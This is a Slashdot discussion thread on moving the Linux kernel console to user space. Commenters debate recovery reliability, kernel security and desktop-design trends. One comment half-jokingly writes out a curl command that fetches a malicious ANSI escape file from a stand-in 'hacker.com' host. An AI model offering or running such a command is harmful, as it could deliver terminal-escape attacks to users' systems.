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Moving the Linux Kernel Console To User-Space

Soulskill posted about 2 years ago | from the cuddly-console-seeks-loving-home dept.

Linux 311

jones_supa sends this quote from Phoronix: "David Herrmann has provided an update on his ambitious initiative to kill off the Linux kernel console. Herrmann has long been working on making the Linux kernel CONFIG_VT option unnecessary for providing a Linux console by punting it off to user-space. The Linux kernel VT console hasn't been changed much in the past two decades and Herrmann is hoping to see it replaced with a user-space solution he's been developing that would allow for multi-seat support, a hardware-accelerated console, full internalization, and other features."

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why? (2, Insightful)

andjeng (2799457) | about 2 years ago | (#42832293)

if something have any purpose, why should we kill it?

Re:why? (2)

andjeng (2799457) | about 2 years ago | (#42832333)

and serving its purpose decently, offcourse.

Re: offcourse (2)

jabberw0k (62554) | about 2 years ago | (#42833267)

Off-course like the Costa Concordia?

Re:why? (5, Insightful)

Anonymous Coward | about 2 years ago | (#42833479)

So you two & everyone who's modded these up, thinks that 1) something being moved to a secondary option is the same as "being killed", and 2) that technology shouldn't be used to improve anything.

Please rethink.

Re:why? (5, Informative)

Anonymous Coward | about 2 years ago | (#42832423)

The idea is to replace a kernel functionality with few features and several crucial limitations with a user space solution that is fully-fledged. The fully-fledged solution is not what you want to have inside the kernel, therefore taking the console to user space.

The need for this arose primarily with the introduction of kernel mode setting etc. Before these advances, the console would somewhat be lame by definition. Now it is much more viable to have a nice console even without a windowing system and that opens new applications to a user-space console.

E.g. look at Terminology. It is a virtual terminal emulator from the Enlightenment guys, built on the EFL core libraries. It works with David Herrmanns patches, without X11 or any display server!
http://www.youtube.com/watch?v=AD-BJThtNnc (here run within X)

Compare this to the basic kernel console. It could replace it if David's work gets through.

Re:why? (1)

andjeng (2799457) | about 2 years ago | (#42832457)

interesting. :) i think i'll try it out.

Re:why? (4, Insightful)

Anonymous Coward | about 2 years ago | (#42832665)

I guess my questions boils down to this: why can't someone who wants a more advanced terminal just open up an X session, and put a few xterms on it? Please leave the very robust kernel console for its failsafe properties.

Re:why? (3, Insightful)

jedidiah (1196) | about 2 years ago | (#42833249)

Quite. This sounds like a solution in search of a problem and users that actually care. On the other hand, it could break things horribly especially for those failsafe situations.

it sounds like yet another example for of change for it's own sake not driven by any actual end user requirements that is actually being done DESPITE end user objections.

It seems like a perfect microsoftism.

Re:why? (4, Insightful)

Anonymous Coward | about 2 years ago | (#42833731)

Wrong. Less functionality running in the kernel, the better. The kernel is a highly constrained environment, and it is also very security sensitive. Console processing does not belong there.

This sounds like yet another example of uninformed people assuming that they know anything about the subject matter at hand, and assuming that actual kernel developers do not.

Re:why? (0)

Anonymous Coward | about 2 years ago | (#42833925)

Presumably, moving the console code out of the kernel makes it more stable. But it also is going to make the console less stable. The only issue I have had with the kernel console has been due to some modesetting issues with proprietary drivers. Is the kernel console code actually causing instability, or is this move an attempt to replace a barebones console with a fancier one in userspace? If its the latter, why not just work on an X console, instead of breaking something that already works?

Re:why? (4, Insightful)

Hatta (162192) | about 2 years ago | (#42833345)

The idea is to replace a kernel functionality with few features and several crucial limitations

But those few features are crucial.

The need for this arose primarily with the introduction of kernel mode setting etc.

And what happens when KMS fails? What happens when all you have are VGA text modes?

Will the user space console work in every instance where the current console works? If so, great. If we give up any of the reliability we've grown to rely upon, no thanks. I'd rather have a "lame console" I know will be there, than a full featured console I have to troubleshoot.

Re:why? (0)

Anonymous Coward | about 2 years ago | (#42833753)

Damn that's ugly. What's the advantage over a pty?

Unneeded (5, Insightful)

Anonymous Coward | about 2 years ago | (#42832305)

Lets not mess with the TTY's they are STILL NEEDED for when things go wrong...

Re:Unneeded (4, Insightful)

Anonymous Coward | about 2 years ago | (#42832707)

100x This ^^^

Start messing with the console, and you could end up, like Windows, with no basic, self-reliant recovery options.

Going that way for a while now (0)

Anonymous Coward | about 2 years ago | (#42833355)

With systemd, upstart and company and all the other rubbish we are going towards a messy opaque system much like windows. I do not like this trend.

Re:Going that way for a while now (2, Insightful)

AwesomeMcgee (2437070) | about 2 years ago | (#42833781)

I have already accepted that the linux I grew up on in the late nineties was killed (sometime in the mid-thousands I think, I was too busy working in .NET at the time to notice until I moved back to linux ~2009) and replaced by a completely opaque box, where everyone chides you for even thinking of recompiling your kernel ever because it will break everything, just choose one of the pre-compiled ones made by your linux masters.

I remember a beautiful simple system where everyone recompiled their kernels, it was simple and expected; and the system's components were independent enough to roll with changes like this, where running console-only didn't make you out to be a weirdo and switching versions of X wouldn't break every piece of your system, rather it would just switch your X.

Recently the linux I have met is a nice windows replacement. It acts like windows, I use it like windows, and the whole thing breaks if I try to change anything under the hood like windows.

Perhaps it's time to go back to FreeBSD, where simplicity was always the purpose, I sure hope in my time away from it (10 years now) it hasn't been won over by the dark side like linux was...

Re:Going that way for a while now (1)

ButchDeLoria (2772751) | about 2 years ago | (#42833803)

At least Upstart has initscript support.

Re:Unneeded (1)

dolmen.fr (583400) | about 2 years ago | (#42832887)

Except that on a VM the need is not the same.
And on a phone also different.
Is it really useful to have an ANSI escape sequence interpreter in the kernel ?
Much of the legacy could be removed/replaced on those kernels.

Re:Unneeded (-1)

Anonymous Coward | about 2 years ago | (#42833335)

Except that on a VM the need is not the same.

If they come up with a terminal that can be emulated faster than the VGA one that currently prints about one line per minute, then I'm all for replacing it on my VMs. The answer to "why isn't foo up yet?" is almost always "whoops I forgot to close the VGA window" and the thing is about halfway through the kernel initialization 15 minutes later.

Re:Unneeded (1)

spyked (1878060) | about 2 years ago | (#42833365)

Short answer: yes.

If you don't want "the legacy", compile it out of the kernel, but don't remove it, for crying out loud! Some people still use that, and for good reasons.

Re:Unneeded (1)

Skapare (16644) | about 2 years ago | (#42833089)

The only use for a console when the kernel is so hosed it cannot run any user space is to see the kernel's panic message. The console NOW is not useful unless user space is working. The issues I see are just details on how the console functionality gets moved to user space. It needs to support BOTH framebuffer and text mode displays. But definitely, all those things like cooked line input and such should be in user space, and even pluggable with a clean well defined interface that can be used in C as well as higher languages like Python.

OTOH, a completely kernel-only escape and recovery system would be nice, too. We do not have it, yet. That would require a kernel shell (with commands sufficient for emergency recovery only ... keep it a small optional module that the kernel does not need for day to day running so it can be left out if not needed).

Re:Unneeded (1)

petermgreen (876956) | about 2 years ago | (#42833255)

Note that cooked line input is not part of the "console", it's part of the tty system.

Re:Unneeded (1, Informative)

Anonymous Coward | about 2 years ago | (#42833219)

/dev/ttyS0 isn't going anywhere.

Re:Unneeded (1)

Anonymous Coward | about 2 years ago | (#42833327)

Except that there are very few computers these days which still have a true serial port.

Re:Unneeded (1)

AwesomeMcgee (2437070) | about 2 years ago | (#42833829)

I just noticed an *LPT* port card is installed on my work desktop! What brain damage did my IT team have to think my .NET development workstation would have any reason for an *LPT* port! Just hilarious.

Re:Unneeded (0)

Anonymous Coward | about 2 years ago | (#42833767)

Lets not mess with the TTY's they are STILL NEEDED for when things go wrong...

YES!

Hey, it may be messy but with it in kernel space; it has far better responsiveness than in userland. Anybody who has read into the Linux kernel knows that priority is set on a scale.
  Priority Scale [imageshack.us]

The best responsiveness in userland is a nice value of -15.

good thinking HA! (5, Insightful)

rubycodez (864176) | about 2 years ago | (#42832349)

making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile

Re:good thinking HA! (5, Funny)

Anonymous Coward | about 2 years ago | (#42832401)

This could be an essential part of GNOME 3!

Re:good thinking HA! (4, Funny)

rubycodez (864176) | about 2 years ago | (#42833155)

I think it should require Unity and a touchscreen

Re:good thinking HA! (4, Funny)

greg1104 (461138) | about 2 years ago | (#42833203)

I await the new console with gesture support. There is one gesture I regularly make to systems that are so broken I have to use the console.

Re:good thinking HA! (1)

squiggleslash (241428) | about 2 years ago | (#42832475)

I generally agree although I also don't think it needs to be quite as sophisticated as it is. But that said, answering my own criticism, does supporting multiple character sets, colors, and screen sizes really add so much bloat it'd be worth stripping it down?

Re:good thinking HA! (1)

Jawnn (445279) | about 2 years ago | (#42832567)

making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile

Ain't broke. Nuff said. Okay..., maybe not quite, but let's solve the problem(s) without creating new ones. And yes, busting the console most definitely will create problems.

Re:good thinking HA! (1)

ezdiy (2717051) | about 2 years ago | (#42832775)

Amen. Probably to have best of both worlds - keep minimal dumb terminal (think serial tty or basic 80x25 text) for such emergencies. init=/bin/sh is a nice thing to have.

Re:good thinking HA! (2)

Skapare (16644) | about 2 years ago | (#42833151)

I suggest 2 different consoles, neither of which would need to be there for the kernel to do it's thing of running user space processes. One would be an optional in-the-kernel console complete with an in-the-kernel shell. Trim down it's capability and keep it small. The other would be an optional all-user-space console which can use the many user-space shells we already have, or any other program we want. PTY's definitely need to be pure user-space.

Re:good thinking HA! (1)

rubycodez (864176) | about 2 years ago | (#42833173)

had funny thought, this might work in MINIX kernel architecture, but not monolithic one

Re:good thinking HA! (1)

Marillion (33728) | about 2 years ago | (#42833587)

Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"

While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.

But pleeeease keep the key-combo (5, Insightful)

Anonymous Coward | about 2 years ago | (#42832353)

Being able to press ctrl-alt-f1 when anyting hangs the X server is why I feel more at home in linux than in windows or OSX.

Re:But pleeeease keep the key-combo (4, Informative)

Anonymous Coward | about 2 years ago | (#42832735)

When you are on the X console, all keys are handled by X, including the Ctrl-Alt-F1 (that's why if you lock up X badly, even Ctrl-Alt-F1 won't work, although you may still be able to remotely log in and fix things; assuming you have sshd or something equivalent running, of course). However switching back to X11 with Ctrl-Alt-F7 (or whereever your current X session is) is handled by the console.

Re:But pleeeease keep the key-combo (0)

Anonymous Coward | about 2 years ago | (#42833023)

Or a serial terminal, which is a (kernel) VT.

Re:But pleeeease keep the key-combo (0)

Anonymous Coward | about 2 years ago | (#42833139)

Well, if kernel is fine, ther is a magic key combo (if not disabled in config) Alt-PrtScn-R, which gives you keyboard back

Rule no 1 (2, Insightful)

Anonymous Coward | about 2 years ago | (#42832359)

If it works, don't fix it

Re:Rule no 1 (2, Funny)

Anonymous Coward | about 2 years ago | (#42832871)

Yeah, but the first rule of Linux is: If it ain't broke, take it apart and compile your own

Re:Rule no 1 (4, Funny)

idontgno (624372) | about 2 years ago | (#42832921)

If it still works, you haven't fixed it enough.

Re:Rule no 1 (2)

ellep (1746938) | about 2 years ago | (#42833351)

If it ain't broken, fix 'till it is. fix some more until it is no longer broken. repeat.

Re:Rule no 1 (0)

Anonymous Coward | about 2 years ago | (#42833521)

But it is broken for end users who use international keyboards and maybe don't have access to a text output. They're looking to replace the kernel mode console as the "default", but not remove the kernel version, in case someone needs/wants to use it.

Re:Rule no 1 (1)

hduff (570443) | about 2 years ago | (#42833625)

Fix it' till it breaks.

Re:Rule no 1 (1)

msauve (701917) | about 2 years ago | (#42833663)

If we don't have it, you don't need it. If we can't fix it, we'll fix it so nobody else can.

It Works. Fuck It Up! (4, Insightful)

Anonymous Coward | about 2 years ago | (#42832399)

So, it's relatively unchanged for "two decades". No one is complaining about it. It doesn't really seem to require improvement as it does what it needs to.

Yea, let's completely gut the system, move it to user space, introduce a metric shit ton of unexpected and undesirable behavior because... Well, Gnome is changing.

Re:It Works. Fuck It Up! (0)

Anonymous Coward | about 2 years ago | (#42832611)

With that argument you kill off a lot of innovation. We don't need cars, we had horse buggies for centuries, right?

Re:It Works. Fuck It Up! (3)

0123456 (636235) | about 2 years ago | (#42832657)

With that argument you kill off a lot of innovation. We don't need cars, we had horse buggies for centuries, right?

You didn't cut off your legs when you got a horse. You didn't shoot all the horses when you got a car.

The console is there to fix the system when someone fscks it up. Making it reliant on a ton of user-space code is a really bad idea.

Re:It Works. Fuck It Up! (0)

Anonymous Coward | about 2 years ago | (#42832793)

You didn't shoot all the horses when you got a car.

Only because I was arrested after the 7th one.

Re:It Works. Fuck It Up! (0)

Anonymous Coward | about 2 years ago | (#42833459)

You didn't shoot all the horses when you got a car.

Right. We put them in burgers instead.

Wrong Analogy (3, Informative)

Anonymous Coward | about 2 years ago | (#42832663)

Good troll, but the better analogy would be car steering wheels haven't changed in decades. They're all round and don't come in many colors or properly support knee control. So, I want to move them into the back seat so they don't get in the way.

Re:Wrong Analogy (1)

Alioth (221270) | about 2 years ago | (#42833115)

No! The Austin Allegro had a square steering wheel.

Re:Wrong Analogy (2)

Qzukk (229616) | about 2 years ago | (#42833415)

Amusingly, a century ago the complaint was that "tillers worked just fine for steering boats so why change things?" so the first cars were steered by tiller.

Re:Wrong Analogy (1)

0123456 (636235) | about 2 years ago | (#42833605)

If I remember correctly, comparative studies have shown that a joystick is a better way to steer a car than a steering wheel. So they were probably right.

Re:It Works. Fuck It Up! (0)

Anonymous Coward | about 2 years ago | (#42833033)

Cars were not invented to kill off horse buggies. They were invented as a better alternative to horse buggies. They displaced horse buggies because they indeed were better. However if they had turned out to be worse, almost no one would have even noticed the invention of the car. Also, there are some cases where horse buggies are still superior (e.g. as tourist attraction), and you still can get a horse buggy for that purpose if you desire. That's because cars didn't replace the horse buggies.

That's the problem with so many software innovations lately. Instead of telling the user: "Here we have this alternative which we think is better" and then letting the user decide whether he thinks it really is better, they shove the new stuff down the user's throat: "Oh, you want to upgrade your system? Well, than you have to use this great new thing we made for you. Oh, you don't like it? Well, it must be your stupidity, because we do like it, so anyone who doesn't must be a retard. Note that soon we won't support the old stuff any longer even if you don't upgrade. So if you like your system to be secure, you better get used to our new stuff."

I'm all for new console experiments as long as they keep the kernel console intact at least until the new console has been in productive use for long enough that you can be sure it won't ever make troubles. Heck, make VT1 the kernel console, and VT2 to VT6 new type consoles. Then if you want the power of new type consoles, you just use one of VT2 to VT6, but if something is seriously fucked up, you can return to the old, featureless but rock stable kernel console on VT1.

Re:It Works. Fuck It Up! (1)

ArsonSmith (13997) | about 2 years ago | (#42833067)

"It ain't broke so don't fix it." is a good rule to live by in a production environment. In development/in innovation you have to look at everything and think, "can it be better?"

Re:It Works. Fuck It Up! (1)

petermgreen (876956) | about 2 years ago | (#42833437)

The problem comes when the people in charge think something is better and it gets pushed on others even though they disagree about it being better. We have seen this happen sufficiently often with software (both open and closed source) recently that whenever something like this is announced we fear it happening again.

Re:It Works. Fuck It Up! (2)

Midnight Thunder (17205) | about 2 years ago | (#42833159)

If we took this attitude for everything, then we would still be banging rocks, because they work fine.

At this point let the guys demonstrate their concept and see how well it works. A compromise could be simply to keep a minimal set of TTY devices for situations where userspace royally failed. It should be noted that for a good number of cases if userspace royally screwed up, then it is time for a reboot anyhow.

Leave in fallback support! (0)

Anonymous Coward | about 2 years ago | (#42832523)

I'm guessing it has not changed much because it's simple well understood. If you need more than a bare console I suppose most assume you'll jump to a more advanced environment (X) that already has hardware accell, fancy fonts, high res, unicode support, etc.

Although it seems a lot of the console's limitation's stem from the fact it was written to accommodate lowest common denominator hardware support for 386 PCs. (MCA/CGA/VGA text modes) These modes are still present in even new PCs, but not on anything that's not a PC.. All non-pcs use some sort of framebuffer console anyway. Most new PC based distros seem to use the framebuffer console too, because it allows for more fonts and higher resolutions (meaning more, longer lines on the screen and a more clean appearance)

A fancy console would be nice as long as you can fall back to the old one. I'd hate to be locked out of a systems because some random video driver issue, font issue, unicode issue, or input device issue broke the new one.

Also make sure you're not dupilcating effort. If you're going to put the console in userland anyway, maybe make is share bits with your GUI.

Re:Leave in fallback support! (1)

dolmen.fr (583400) | about 2 years ago | (#42832973)

A fancy console would be nice as long as you can fall back to the old one. I'd hate to be locked out of a systems because some random video driver issue, font issue, unicode issue, or input device issue broke the new one.

It can already fail for such reason.
However what could change is that the userspace console process could be killed by the OOM Killer.

Also make sure you're not dupilcating effort. If you're going to put the console in userland anyway, maybe make is share bits with your GUI.

There is effectively some potiential for better integration. What about a console running over Wayland?

Re:Leave in fallback support! (1)

dolmen.fr (583400) | about 2 years ago | (#42833045)

I'm guessing it has not changed much because it's simple well understood.

RTFA: "it's a user-interface in kernel-space, the code is poorly maintained, handles keyboards badly [...]"

Re:Leave in fallback support! (0)

Anonymous Coward | about 2 years ago | (#42833461)

It's been handling my keyboards perfectly for decades.

I Can't Wait (4, Funny)

Anonymous Coward | about 2 years ago | (#42832529)

I can;t wait to hear Linus' response to this plan. I expect it to be something like...

How 'bout noh! You crazy Dutch bastard. [youtube.com]

Uh (4, Insightful)

christurkel (520220) | about 2 years ago | (#42832545)

a hardware-accelerated console

Why?

Re:Uh (1)

gabereiser (1662967) | about 2 years ago | (#42832609)

mainly for screen-size detection and auto-kerning and smooth font support I'm guessing...

Re:Uh (1)

msauve (701917) | about 2 years ago | (#42833061)

...because displaying dmesg output in Comic Sans is so useful when trying to fix a low level system issue.

Re:Uh (1)

Anonymous Coward | about 2 years ago | (#42832647)

Because I like my serial console with crisper text thanks to gold plated conectors and Monster cables.

Re:Uh (1)

EnsilZah (575600) | about 2 years ago | (#42833481)

Multitouch onscreen keyboard in Stereoscopic 3D, it's like, the future, man.

QUICKLY EVERYONE (0)

Anonymous Coward | about 2 years ago | (#42832547)

It's new and you don't understand it - YOU MUST DERIDE AT ALL COSTS

Re:QUICKLY EVERYONE (0)

Anonymous Coward | about 2 years ago | (#42832687)

It's new and shiny! No time to think about the tradeoffs, let's fap until we die of dehydration!

Re:QUICKLY EVERYONE (0)

Anonymous Coward | about 2 years ago | (#42833859)

No, you obviously don't understand it. If you did you would instantly see why this is an abysmally bad idea. If people want a pretty terminal, use X. Hell, you can strip X down to run only your chosen app, in this case a terminal emulator. This whole, "Let's burn all of the old, to INNOVATE!" is ridiculous. How about we don't break what is not broken and move forward intelligently and avoid creating unneeded issues and derailing innovation with bad practices? Following the old and boring careful professional practices got Linux where it is today. The perfect example is Gnome, while never perfect it was rather decent. Then the devs decided to start removing things that would "confuse" the users, then at one point they lost their collective minds and jumped on the "innovate at all costs" bandwagon and we ended up with Gnome 3. Programming is not suited to the next coolest thing, it is more suited to the next good thing.

My Console!? (0)

Anonymous Coward | about 2 years ago | (#42832591)

You can take my console when you pry it from my cold dead hands!

Seriously, keep your hands off my console!

LET THE HATE BEGIN! (-1, Flamebait)

CajunArson (465943) | about 2 years ago | (#42832651)

This is new and new stuff is EVIL! We should get our pitchforks and BURN it right alongside Wayland for daring to do something different than the perfection of 1985 era technology!

Now please excuse me while I get back to ranting about how patents are the one and only cause for innovation being squelched in the modern world.

WHEN DID THE HATE END? (-1, Flamebait)

smitty_one_each (243267) | about 2 years ago | (#42832685)

Progress is about hating the current state of affairs, and denigrating all past work. That's just the way it is. Don't make a maniac out of me.

Look at the details, this is a joke (2)

advid.net (595837) | about 2 years ago | (#42832729)

When I read "a hardware-accelerated console" I though that it must be a joke. This whole story.
Bravo! He made it on /. headlines...
(otherwise this kind of idea could have made me feel quite anxious)

Re:Look at the details, this is a joke (4, Informative)

ultrasawblade (2105922) | about 2 years ago | (#42833313)

The VT console has been "hardware accelerated" under x86/VGA for years. You don't think it's actually copying memory line for line when it needs to scroll the screen, do you? No, it's incrementing the VGA register that tells it what memory address to start drawing text from.

Noob me? (2)

xonen (774419) | about 2 years ago | (#42832815)

Learned something new today - because, until now i was always assuming the console already did run in user space, and was as friendly to print kernel messages.

You must be stupid, stupid, stupid (2, Insightful)

fnj (64210) | about 2 years ago | (#42832845)

The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else. Who needs it, eh? Are you kidding me? This is an imbecilic idea. If you must have pointless cruft like this, add it IN ADDITION to what has ALWAYS worked perfectly, is super reliable, and super simple. Hopefully set it up so that any mature user can leave this garbage out of his system.

This is just a continuation of the systemd, Gnome 3 type of insanity.

The way things are going, BSD, here I come. An OS by adults, for adults, not a would-be Windows me-too with stupid people gradually one-by-one breaking everything that has made linux great - up until now.

Re:You must be stupid, stupid, stupid (0)

Anonymous Coward | about 2 years ago | (#42833013)

Don't you mean Ubuntu? Alan Cox, the recent maintainer of the network stack for the Linux kernel, threw Fedora out the window with its latest round of Gnome g-nuttiness and systemd system-dithering and has hopped over to Ubuntu.

Re:You must be stupid, stupid, stupid (1, Interesting)

PRMan (959735) | about 2 years ago | (#42833021)

Seriously. What's with this new generation that has to force their way or the highway on the world? Every new piece of software that comes out forces you to do things you don't want. Now they're trying to turn Linux into Windows 8.

Re:You must be stupid, stupid, stupid (0)

Anonymous Coward | about 2 years ago | (#42833725)

Overreacting much?

People bitch all the freaking time about changes coming into the Linux world but as the whole open source philosophy goes - surprise surprise - the environment adjusts!

Take Gnome 3 which is the worst example ever of changing for the sake of change: Didn't Cinnamon emerge because the new UI was hideous?

Geez- you sound like those assholes in private clubs about paintbrushing left eyebrow with paint #1233.

Re:You must be stupid, stupid, stupid (1)

drinkypoo (153816) | about 2 years ago | (#42833799)

The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else.

The linux console is slow as hell. This does not distinguish it from other consoles throughout history or in the present day, except that it actually makes it substantially faster than the average Sun console. And that idea is probably out of data, I know it was on Solaris-x86, where it was approximately as slow.

With that said, while I'd like to see a faster console, I don't require more functionality from it.

No (1)

TBedsaul (95979) | about 2 years ago | (#42832941)

No. Step away from the console.

If you aren't using a serial port (3, Informative)

ultrasawblade (2105922) | about 2 years ago | (#42833289)

then you aren't really using a "failsafe" console. Even Windows has this with it's "Special Administration Console" / "Emergency Management Services."

When I was building custom kernels for my server I would remove the VT support. Pure serial.

So I don't care. Sounds good from a design standpoint. Should have the least in the kernel possible - simple = robust.

What exact problem is this trying to solve? (5, Insightful)

idontgno (624372) | about 2 years ago | (#42833321)

From TFA (to save your delicate eyes from the indignity of RTFA):

Among his principal complaints about the current terminal is that it's a user-interface in kernel-space, the code is poorly maintained, handles keyboards badly, produces bad font rendering, misses out on mode-setting and multi-head support, contains no multi-seat awareness, and only has limited hot-plugging handling, limited to VT102 compliance.

Let's look at this one item at a time.

  1. "user-interface in kernel-space": Is this a philosophical objection? I'd argue that depending completely on userspace for system restoration is basically giving up on many classes of system problems. If you don't have user interaction at the kernel level, your only response to certain problems is reduced to "burn it down and rebuild it, lol". If you're all VM, sure, go nuts. But VM isn't universal, and restructuring Linux to only be usable in VM environments only is just foolish and shortsighted.
  2. "code is poorly maintained": [Citation needed]. Is the complaint that it hasn't had commits in a while? Maybe because it's not broke? Simple capability with simple requirements probably attained stable maturity years ago. Maybe the committers should toss in a few random code restructures to make it look like someone cares.
  3. "handles keyboards badly": Does it drop keystrokes? If it doesn't do that, there's absolutely no rational basis for this complaint. Maybe baby wants his arrow keys, or non-ASCII character set? Screw that. This is a console. Use vi commands like a grownup. And you don't need your umlauts and accents. The commands are all composed of ASCII characters. If you're reduced to using the console, internationalization is the least of your problems.
  4. "produces bad font rendering": "bad font rendering?" "BAD FONT RENDERING?" Seriously? "It's not pretty enough?" I'm not even gonna address this drivel.
  5. "misses out on mode-setting and multi-head support": Guess what. There is exactly ONE CONSOLE. It's for the use of ONE ADMINISTRATOR to restore function to a system which can't otherwise run in multi-head, multi-user modes. Not a problem.
  6. "contains no multi-seat awareness": While you're at it, please complain that cars don't have multiple drivers' seats.
  7. "limited hot-plugging handling": Interestingly, when system consoles were serial terminals like God intended, hot-plugging was a non-problem, since EIA RS-232 specifications meant that you could hot-plug serial cabling to your heart's content. Maybe thats' where the solution to this "problem" properly lies?
  8. "limited to VT102 compliance": Oh, I'm so sorry it doesn't include your favorite terminal emulation. But it's good enough to run vi (properly statically linked, in /sbin), and that's as close to a GUI you'll ever get in system recovery operations. so, um, NO.

Re:What exact problem is this trying to solve? (0)

Anonymous Coward | about 2 years ago | (#42833633)

tl;dr version:

The gnome generation... :/

Re:What exact problem is this trying to solve? (3, Informative)

psmears (629712) | about 2 years ago | (#42833809)

"handles keyboards badly": Does it drop keystrokes? If it doesn't do that, there's absolutely no rational basis for this complaint. Maybe baby wants his arrow keys, or non-ASCII character set? Screw that. This is a console. Use vi commands like a grownup.

Maybe the user wants to get the ">" symbol on pressing the ">" key. Which is different on different keyboard layouts. Doesn't seem too unreasonable...

And you don't need your umlauts and accents. The commands are all composed of ASCII characters.

... but the filenames aren't. When you're trying to free up vital disk space by deleting hügë_fïlë.jpg, wouldn't it be handy to be able to type its filename?

Re:What exact problem is this trying to solve? (1)

SuricouRaven (1897204) | about 2 years ago | (#42833937)

I can imagine some sneaky user putting a huge file in and spelling it with homoglyphs, just to annoy the admins. Added bonus if you find a way to mess with GUI tools too - eg, placing two files with the same name in different case in a folder where the admin habitually uses Windows to modify it.

Introduction of KMSCON... (2, Informative)

Anonymous Coward | about 2 years ago | (#42833381)

How about a more informative introduction [wordpress.com] ? All of the concerns raised have been addressed. If only people would avail themselves of a more complete understanding before vehemently opposing any sort of change, the world would be a much better place. If not though, the least you could do is keep quiet if you refuse to inform yourself.

This isn't change for the sake of change; the present VT system is seriously lacking, and has been since its inception.

How bout a new idea instead? (0)

Anonymous Coward | about 2 years ago | (#42833393)

Why not add completely new functionality rather than mucking with something that already works. And for fucks sake stop assuming we all want to switch users every time the wind changes direction. We dont. We want the system to be rock solid, simple to understand, and easily recovered in the event of a failure.

Not again. (1)

gallondr00nk (868673) | about 2 years ago | (#42833491)

Are *nix developers bored or something? As if the udev/systemd/initscripts changes weren't enough. What possible good can come from messing with TTY?

Things being around for a while doesn't make them automatically needing replacement. That's Windows logic.

Oh well, there'll always be sensible fork.

The damage is already done. (1)

Guspaz (556486) | about 2 years ago | (#42833505)

My normally headless file server has a low-end nVidia card in it. This machine has no GUI, just the text console.

Video output of the text console on this machine does not work without installing the proprietary nVidia drivers. I just get garbled noise on the screen otherwise. This boggled my mind. It's a bug in the Nouveau drivers the kernel loads by default, of course, but the fact that video card driver bugs were preventing me from using the machine's text console...

It turns out that at some point the linux terminal switched to a GUI mode rather than using the actual character output mode. Hence why you now need graphics drivers for the most basic use of a machine.

Re:The damage is already done. (0)

Anonymous Coward | about 2 years ago | (#42833871)

someone needs to get hit by the cluebat a little more.

TermKit already addresses this (0)

Anonymous Coward | about 2 years ago | (#42833511)

Why not take all that initiative and put it into more TermKit development. TermKit already is the same idea but is leaps and bounds ahead of whatever this thing is that I'm seeing using Enlightenment. Already has been attempted and I actually learned about this project on slashdot. I suggest forking TermKit to do what this is trying to accomplish rather than reinvent the wheel here.

https://github.com/unconed/TermKit

Canonical fork linux (0)

Anonymous Coward | about 2 years ago | (#42833533)

just to add this for Ubuntu to satisfy there vapid airhead fan boys desire to turn Linux into Windows.

c0m (-1)

Anonymous Coward | about 2 years ago | (#42833811)

[slaShdot.0rg],
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